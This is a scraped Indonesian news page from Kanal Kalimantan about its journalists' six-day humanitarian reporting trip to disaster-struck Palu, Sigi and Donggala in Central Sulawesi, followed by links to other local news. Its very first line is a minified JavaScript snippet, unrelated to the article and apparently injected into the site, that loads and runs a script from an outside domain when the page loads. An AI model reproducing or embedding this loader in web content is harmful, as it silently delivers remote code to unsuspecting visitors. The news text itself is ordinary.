(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Selama 6 hari jurnalis kemanusian Kanal Kalimantan bersama Aksi Cepat Tanggap (ACT) Kalsel menetap di lokasi bencana Sulawesi Tengah melaporkan kondisi pasca gempa, tsunami, dan fenomena likuifaksi yang melanda Kota Palu, Kabupaten Sigi dan Kabupaten Donggala.
Meski fase emergency telah berubah menjadi fase recovery, namun masih jelas terasa bahwa bencana pada akhir September itu masih meninggalkan dampak besar dan trauma bagi para korban. Masih banyak masyarakat yang tidak memiliki tempat tinggal, kelaparan dan kebutuhan lainnya yang masih kekurangan. Trauma mendalam juga masih tengiang-tengiang di pikiran mereka khususnya para anak-anak.
Pesan kemanusian dari jurnalis kemanusian Kanal Kalimantan terekam dalam berbagai momen untuk warga Indonesia. Ya “mereka membutuhkan bantuan, meski sedikit tapi itu sangat berarti.†(rico)
Berikut momen yang sempat terekam di Palu, Sigi, dan Donggala
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More
This website uses cookies.